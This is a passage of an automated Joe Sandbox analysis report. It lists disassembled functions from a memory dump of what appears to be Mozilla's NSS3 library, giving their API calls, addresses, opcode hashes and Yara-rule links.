PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CFFA71A,6CFFA71A,00000000), ref: 6CFF9FD9

Part of subcall function 6CFF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF136A
Part of subcall function 6CFF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF137E
Part of subcall function 6CFF1340: PL_ArenaGrow.NSS3(?,6CF8F599,?,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?), ref: 6CFF13CF
Part of subcall function 6CFF1340: PR_Unlock.NSS3(?,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CFFA71A,6CFFA71A,00000000), ref: 6CFFA009
PR_SetError.NSS3(FFFFE013,00000000,6CFFA71A,6CFFA71A,00000000), ref: 6CFFA045

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 67652a43b6dc461aa927da10b78878d994d6b5c7d203446f9e00e7eeff588797
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 892153B46002069BF7009F15EC50F66B7A9FB8535CF14C1289839877A1EB76D515CB90

Function 6D002DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D002E08

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_NewArena_Util.NSS3(00000400), ref: 6D002E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6D002E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D002E95

Part of subcall function 6CFF1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CF988A4,00000000,00000000), ref: 6CFF1228
Part of subcall function 6CFF1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CFF1238
Part of subcall function 6CFF1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CF988A4,00000000,00000000), ref: 6CFF124B
Part of subcall function 6CFF1200: PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0,00000000,00000000,00000000,?,6CF988A4,00000000,00000000), ref: 6CFF125D
Part of subcall function 6CFF1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CFF126F
Part of subcall function 6CFF1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CFF1280
Part of subcall function 6CFF1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CFF128E
Part of subcall function 6CFF1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CFF129A
Part of subcall function 6CFF1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CFF12A1

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b76ce3e02f6b5f5ba51dda810843d8139c64b2451b3c8bf49612229362387157
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: AF21F6B1D503865BF710CF649D40BBB37A4AF9130CF114269EE1C5B352F7B2E6988292

Function 6CFBACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFBACC2

Part of subcall function 6CF92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CF92F0A
Part of subcall function 6CF92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF92F1D

Part of subcall function 6CF92AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CF90A1B,00000000), ref: 6CF92AF0
Part of subcall function 6CF92AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF92B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CFBAD5E

Part of subcall function 6CFD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CF9B41E,00000000,00000000,?,00000000,?,6CF9B41E,00000000,00000000,00000001,?), ref: 6CFD57E0
Part of subcall function 6CFD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CFD5843

CERT_DestroyCertList.NSS3(?), ref: 6CFBAD36

Part of subcall function 6CF92F50: CERT_DestroyCertificate.NSS3(?), ref: 6CF92F65
Part of subcall function 6CF92F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF92F83

free.MOZGLUE(?), ref: 6CFBAD4F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 3c4c945ceaa5e8157faccf4eb178b5e794845c380b40df3f2e9d78ee50d262fe
Instruction ID: 62d1c6c7d3e5bd6227fdc8690d599af785e948d8fd1256c042b4f23fc0f44ae3
Opcode Fuzzy Hash: 3c4c945ceaa5e8157faccf4eb178b5e794845c380b40df3f2e9d78ee50d262fe
Instruction Fuzzy Hash: 4521D8B2D011089BEF10DF65D8056EEB7F4EF09218F154068D805B7600FB32AA55CBA1

Function 6CFE3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CFE3CAE
PR_Unlock.NSS3(?), ref: 6CFE3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CFE3D02

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0da9dcc1ceeac3f27db17dccf72f522f780015c59baefdcfa83fc29fd4518fc8
Instruction ID: d2d1927daaa2ff7faec69fe19836092b2b6339886eb1a24357340db4ba970da9
Opcode Fuzzy Hash: 0da9dcc1ceeac3f27db17dccf72f522f780015c59baefdcfa83fc29fd4518fc8
Instruction Fuzzy Hash: A111D679900214AFDB009F28EC48B9A3BB8EF49368F554065ED0497322D731ED54CBE1

Function 6CFEECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CFEF0AD,6CFEF150,?,6CFEF150,?,?,?), ref: 6CFEECBA

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CFEECD1

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CFEED02

Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CFEED5A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: e6415e442a6b74f71739cee0dff6b253d39f1c894c1b3db3b7540f510b9cc0d7
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 9B21A1B1E00742ABE710CF25E944B52B7E4FFA8348F25C219E81C87B61EB71E594C6D0

Function 6D01EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6D007FFA,?,6D009767,?,8B7874C0,0000A48E), ref: 6D01EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6D007FFA,?,6D009767,?,8B7874C0,0000A48E), ref: 6D01EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6D007FFA,?,6D009767,?,8B7874C0,0000A48E), ref: 6D01EE14

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

memcpy.VCRUNTIME140(?,?,6D009767,00000000,00000000,6D007FFA,?,6D009767,?,8B7874C0,0000A48E), ref: 6D01EE33

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 36808c1c78b6d5ee0990f0f60d0009c74ddc74c85884bd360a79fb85f46b2022
Instruction ID: 85797eefb4a928d99b8a9f1b31ea091f5cf606bbb9bdb9e1b23070373315f274
Opcode Fuzzy Hash: 36808c1c78b6d5ee0990f0f60d0009c74ddc74c85884bd360a79fb85f46b2022
Instruction Fuzzy Hash: 6411ACB1A08717ABFB109EE5DC84B5AB7E8FB04358F154431EE19C7A40E331E4608BA2

Function 6CF9DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB06A0: TlsGetValue.KERNEL32 ref: 6CFB06C2
Part of subcall function 6CFB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFB06D6
Part of subcall function 6CFB06A0: PR_Unlock.NSS3 ref: 6CFB06EB

CERT_NewCertList.NSS3 ref: 6CF9DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CF9DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CF9DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF9E029

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 9ea42bab6b893a86b825c4043f759eccceb6afb23f7f2ceec613138779b05235
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 59112B72A04206ABFF200EA95C44BAB76B8BB8435CF040534E91CD7B21E776C81497E1

Function 6CFB8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFB8DE7
EnterCriticalSection.KERNEL32 ref: 6CFB8DFC
PR_Unlock.NSS3 ref: 6CFB8E2D
PR_SetError.NSS3 ref: 6CFB8E49

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 951a7805dd833a57aa74c8440b02b1bd118fcc3d6191336406ad0782dc1013c1
Instruction ID: c3514390ea1af1704adf5ea0e35473c5fc1d81063bfdc9db0ac9395a965f06e7
Opcode Fuzzy Hash: 951a7805dd833a57aa74c8440b02b1bd118fcc3d6191336406ad0782dc1013c1
Instruction Fuzzy Hash: 21119175505A119FD700AF78D5842AABBF4FF45714F014929EC88D7700E730E850CBD2

Function 6D03AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6D025F17,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D03AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6D025F17,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D03ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D03ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6D02AAD4), ref: 6D03ACDB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: b0d62d57b34ad17a6647850156996451c0b6b903ecb09cfd07ed1f68aecb07d5
Instruction ID: d5ce85032902e16b5ef12069986a765e7eed52060a14ed71c91c652b80179fff
Opcode Fuzzy Hash: b0d62d57b34ad17a6647850156996451c0b6b903ecb09cfd07ed1f68aecb07d5
Instruction Fuzzy Hash: D1019AB1600B139BEB10DF2AE908BA3B7E8BF40665B154839E85AC3A00E731F015CB90

Function 6CFA1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CFA1DFB

Part of subcall function 6CF995B0: TlsGetValue.KERNEL32(00000000,?,6CFB00D2,00000000), ref: 6CF995D2
Part of subcall function 6CF995B0: EnterCriticalSection.KERNEL32(?,?,?,6CFB00D2,00000000), ref: 6CF995E7
Part of subcall function 6CF995B0: PR_Unlock.NSS3(?,?,?,?,6CFB00D2,00000000), ref: 6CF99605

PR_EnterMonitor.NSS3 ref: 6CFA1E09

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

Part of subcall function 6CF9E190: PR_EnterMonitor.NSS3(?,?,6CF9E175), ref: 6CF9E19C
Part of subcall function 6CF9E190: PR_EnterMonitor.NSS3(6CF9E175), ref: 6CF9E1AA
Part of subcall function 6CF9E190: PR_ExitMonitor.NSS3 ref: 6CF9E208
Part of subcall function 6CF9E190: PL_HashTableRemove.NSS3(?), ref: 6CF9E219
Part of subcall function 6CF9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF9E231
Part of subcall function 6CF9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF9E249
Part of subcall function 6CF9E190: PR_ExitMonitor.NSS3 ref: 6CF9E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA1E37
PR_ExitMonitor.NSS3 ref: 6CFA1E4A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: c23a27c41ff7f9873a0850c30d4439a0daa663366666ede1fa2695eea0eb3209
Instruction ID: b679c85d1cc5f1a0f4edb3be65f30e27c7164648935b25f375dcd2ccb2188f69
Opcode Fuzzy Hash: c23a27c41ff7f9873a0850c30d4439a0daa663366666ede1fa2695eea0eb3209
Instruction Fuzzy Hash: C70184B6A04161D7FA004BA6EC80F97B7A8AB41B58F228031E91997A51E771F825CB91

Function 6CFA1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFA1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CFA1D9C
free.MOZGLUE(00000000), ref: 6CFA1DB8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3aa96537482efe2a0f72242c829674ad8e3db6b85a70b0eeed02ae678c30502
Instruction ID: 72f44803034303c43b317ad28c73af29920b6d4d5f6a40a4ed46dcc30534f02d
Opcode Fuzzy Hash: e3aa96537482efe2a0f72242c829674ad8e3db6b85a70b0eeed02ae678c30502
Instruction Fuzzy Hash: 87F0F9B7A05210D7FF201F99AC41B87B658DB81B58F168235ED6997B44DB61F40283E1

Function 6D03AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6D025D40,00000000,?,?,6D016AC6,6D02639C), ref: 6D03AC2D

Part of subcall function 6CFDADC0: TlsGetValue.KERNEL32(?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE10
Part of subcall function 6CFDADC0: EnterCriticalSection.KERNEL32(?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE24
Part of subcall function 6CFDADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CFBD079,00000000,00000001), ref: 6CFDAE5A
Part of subcall function 6CFDADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE6F
Part of subcall function 6CFDADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE7F
Part of subcall function 6CFDADC0: TlsGetValue.KERNEL32(?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAEB1
Part of subcall function 6CFDADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAEC9

PK11_FreeSymKey.NSS3(?,6D025D40,00000000,?,?,6D016AC6,6D02639C), ref: 6D03AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6D025D40,00000000,?,?,6D016AC6,6D02639C), ref: 6D03AC59
free.MOZGLUE(8CB6FF01,6D016AC6,6D02639C,?,?,?,?,?,?,?,?,?,6D025D40,00000000,?,6D02AAD4), ref: 6D03AC62

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 178dd39eb3cee016c088916449c9d9603eccb869d8567c754a21a7173832ee37
Instruction ID: 12b2bc5237cd285de6896f04de9378c729cbc6f5cf3cfa2c4b3453ab1ea99e1e
Opcode Fuzzy Hash: 178dd39eb3cee016c088916449c9d9603eccb869d8567c754a21a7173832ee37
Instruction Fuzzy Hash: E0014BB56002119FEF10CF19E8C0F5677E8AF48718F198068E9498F346D735F849CBA1

Function 6CFEFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

